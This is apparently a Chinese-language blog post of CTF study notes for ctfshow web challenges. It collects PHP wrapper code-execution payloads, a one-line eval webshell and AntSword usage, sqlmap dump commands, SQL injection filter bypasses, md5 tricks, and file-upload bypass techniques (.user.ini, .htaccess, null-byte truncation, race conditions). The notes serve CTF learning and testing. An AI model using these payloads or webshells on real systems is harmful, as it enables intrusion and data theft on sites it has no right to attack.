ctfshow——web(总结&持续更新)
文章目录
-
1、基础知识部分
-
2、php伪协议
-
- 2.1 php://input协议
- 2.2 data://text/plain协议
-
3、webshell连接工具
-
- 3.1 蚁剑连接一句话木马
-
4、各个web中间件重要文件路径
-
- 4.1 Nginx
-
5、sqlmap使用
-
6、php特性
-
- 6.1 md5加密漏洞
- 6.2 php特殊符号
-
7、TOP 10漏洞
-
- 7.1 SQL注入
- 7.2 代码执行
- 7.3 文件上传
-
- php上传特性
- 检查后缀
- 检查文件内容
- 代码逻辑——条件竞争
1、基础知识部分
- 识别base64编码:大小写+数字,偶尔最后几位是= or ++ ;
- session :session是保存在服务器中的,服务器通过数据包中的cookie的
PHPSESSID值来判断哪条session中保存用户信息;$_SESSION['password']是利用cookie中的PHPSESSID来找相应信息的password值。 - 常见的网站源码备份文件后缀:
tar、tar.gz、zip、rar、bak。常见的网站源码备份文件名:web、website、backup、back、www、wwwroot、temp。
2、php伪协议
2.1 php://input协议
关于php://input ,简单来说:当php://input 与include 连用时,数据包中的post字段将会当做php代码执行。
# 查看当前目录下的文件
# GET传参
?url=php://input
# POST
<?php system("ls");?>
bash
2.2 data://text/plain协议
关于data://text/plain ,简单来说:当data://text/plain 与include 连用时,data://text/plain 后面接着的数据会被当做php代码执行。
?url=data://text/plain,<?php system('ls');?> #
?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+ # <?php system('ls');?>的bash64加密形式
bash
3、webshell连接工具
3.1 蚁剑连接一句话木马
如果蚁剑报错:unable_to_verify_leaf_signature ,是证书的原因,目前的解决方法是将URL中的https改为http。

4、各个web中间件重要文件路径
4.1 Nginx
# Linux
/var/log/nginx/access.log # linux下,nginx访问日志文件默认路径
# windows
C:\Program Files\Nginx\logs\access.log # Windows下,nginx访问日志文件默认路径
<Nginx安装目录>/logs/access.log# Windows下,nginx访问日志文件自定义安装路径
bash
5、sqlmap使用
sqlmap常用命令:
python3 sqlmap.py -r test.txt # 在存在sql注入漏洞的参数后面加*
python3 sqlmap.py -r test.txt --dbs #--dbs选项是列出所有数据库名
python3 sqlmap.py -r test.txt -D web2 --tables # web2数据库的所有表名
python3 sqlmap.py -r test.txt -D web2 -T flag --columns # web2数据库的falg表的所有字段
python3 sqlmap.py -r test.txt -D web2 -T flag -C flag --dump # web2数据库的falg表的所有字段内容
# 使用--tamper脚本,将空格转换为内联注释符
python3 sqlmap.py -r test.txt --tamper space2comment # 在存在sql注入漏洞的参数后面加*
# 判断是否存在SQL注入
python3 sqlmap.py -u https://98b59309-13c0-4091-9683-af3ebc38f310.challenge.ctf.show/index.php?id=1 -p "id" --tamper space2comment # -p指定参数
bash

6、php特性
6.1 md5加密漏洞
- md5
0e漏洞:就是说在使用md5()和==进行变量比较的时候,只要左右两边的字符串经过md5()加密后,都是以0e开头的字符串,那么左右两边将会相等。 - 当使用
md5()和===进行变量对比的时候, 使用数组 可以绕过md5()函数的检测。 - md5 true参数漏洞
md5($string, true)对ffifdyop、129581926211651571912466741651878684928可以得到'or'结构的字符串。
6.2 php特殊符号
# . file = source file ,用bash执行file这个shell脚本文件
. == source
# 执行系统命令
`ls` = system('ls')
# php短标签
<?php @eval($_GET['cmd']);?> == <?=@eval($_GET['cmd']);?>
# ?为通配符
# +为空格
bash

7、TOP 10漏洞
7.1 SQL注入
SQL注入常见的测试方法就是:
- 在参数后面加个
',看返回包是否报错; - 使用万能密码
1' or 1=1 --+,看返回包有没有反应。
登录框测试SQL注入后,尝试目录扫描,看看有没有敏感信息泄露。
SQL注入绕过:
1、空格被过滤
# 空格被过滤
username=1'or(true)# # 用(true)代替1=1
username=1'/**/or/**/1=1/**/# # 用内联注释(/**/)代替空格
##经过测试过滤了空格,所以用内敛注释进行绕过
id=1'/**/and/**/1=1/**/# 正常返回
id=1'/**/and/**/1=2/**/# 数据未返回,存在SQL注入
##或者
id=1'/**/and/**/(true)/**/# 正常返回
id=1'/**/and/**/(false)/**/# 数据未返回,存在SQL注入
##或者
id=1'/**/or/**/(false)# 返回一条数据
id=1'/**/or/**/(true)# 返回当前表里的所有数据
sh

2、单引号被过滤
# 单引号被过滤
双引号代替单引号
sh
3、with rollup(虚拟表)绕过
# with rollup(虚拟表)绕过
group by :将结果集按照选择的字段进行排序,默认从小到大,不进行去重
group by password with rollup:对password进行逻辑排序,同时会对所有数据进行汇总统计。
sh

7.2 代码执行
题目中若存在cmd参数,可能存在代码执行。尝试cmd=phpinfo();
?cmd=phpinfo(); # 如果这能被执行,后端应该就是类似一句话木马的写法<?php @eval($_GET['cmd']);?>
# 读取当前目录下的文件
?cmd=system('ls');
?cmd=print_r(scandir('./'));
?cmd=print_r(glob("*"));
# 读取文件内容
?cmd=highlight_file('x.php');
?cmd=show_source('x.php');
bash

7.3 文件上传
php上传特性
在php中,使用Content-Type: multipart/form-data;上传文件时,会将它保存在临时文件中,在php的配置中upload_tmp_dir参数为保存临时文件的路经,linux下面默认为/tmp。也就是说只要php接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除,并且php每次创建的临时文件名都有固定的格式,为phpXXXX.tmp(Windows)、php**.tmp(Linux)。

检查后缀
- 黑名单绕过
-
特殊后缀名
在某些中间件中,.php3,.php4,.php5,.phptml会被解析为.php。 -
windows特性
1.php.、1.php[空格]、1.php::$DATA在windows系统中保存为1.php。 -
双写后缀名绕过
仅当后端使用类似preg_replace函数进行关键词替换时,可以使用双写后缀名的方式绕过。 -
.htaccess和.user.ini *
.user.ini用法
前提:保证三个文件(.user.ini、shell.png、xx.php)在同一目录下,再执行该目录下的php文件。
-
//.user.ini
auto_prepend_file=1.png
//1.png
<?php phpinfo();?>
//1.php(任意php文件)
bash
注:三个文件在一个目录下,就相当于1.php文件开头插入了
include('1.png');进行文件包含,解析1.php文件时会使用php解析器解析1.png文件。
* `.htaccess`用法
# .htaccess文件
<FileMatch "shell.png">
SetHandler application/x-httpd-php
# shell.png
<?php phpinfo();?>
bash
-
区别
.htaccess文件是Apache服务器中的分布式配置文件;.user.ini是php配置文件。- 配合中间件解析漏洞
需要总结各个中间件的历史解析漏洞 。如apache陌生后缀解析漏洞和apache换行解析漏洞。
- 白名单绕过
-
%00截断(GET传参)
前提 :PHP版本小于5.3.4、magic_quotes_gpc为OFF状态。
原理 :上传1.php%00,最终保存为1.php。 -
0x00截断(POST传参)
在hex模式下,将1.php后面的16进制值改为00同样达到阶段的效果。
-
- 配合中间件解析漏洞
检查文件内容
- MIME绕过
数据包中Content-Type字段表示文件的类型,修改Content-Type的值绕过检测。常见的MIME 类型如下:
| 文件拓展名 | Mime-Type |
|---|---|
| .html | test/html |
| .jpg | image/jpeg |
| .png | image/png |
| .gif | image/gif |
| .txt | text/plain |
| .php | application/x-httpd-php |
文件幻数检测(getimagesize()、exif_imagetype())
其实就是检测文件内容,以下是常见的图片文件头字节。
| 类型 | 文件幻数 |
|---|---|
| JPG | FF D8 FF E0 00 10 4A 46 49 46 |
| GIF | 47 49 46 38 39 61 (GIF89a) |
| PNG | 89 50 4E 47 |
二次渲染
简单来说,就是后台会根据你上传的图片,重建一个相同的图片 。
绕过:
* 对比源文件和渲染后的文件,在没有变化的部分加入一句话木马; * 对于做文件上传之二次渲染建议用**GIF** 图片,相对于简单一点。
代码逻辑——条件竞争
检测原理
一些网站文件检测逻辑是先允许上传任意文件,然后检查文件内容是否包含可执行脚本,如果包含则删除。
绕过方法
利用成功上传到删除文件的时间差,上传一个.php文件,在未删除之前立即访问,则会自动生成一个新php文件,新文件不会被删除。
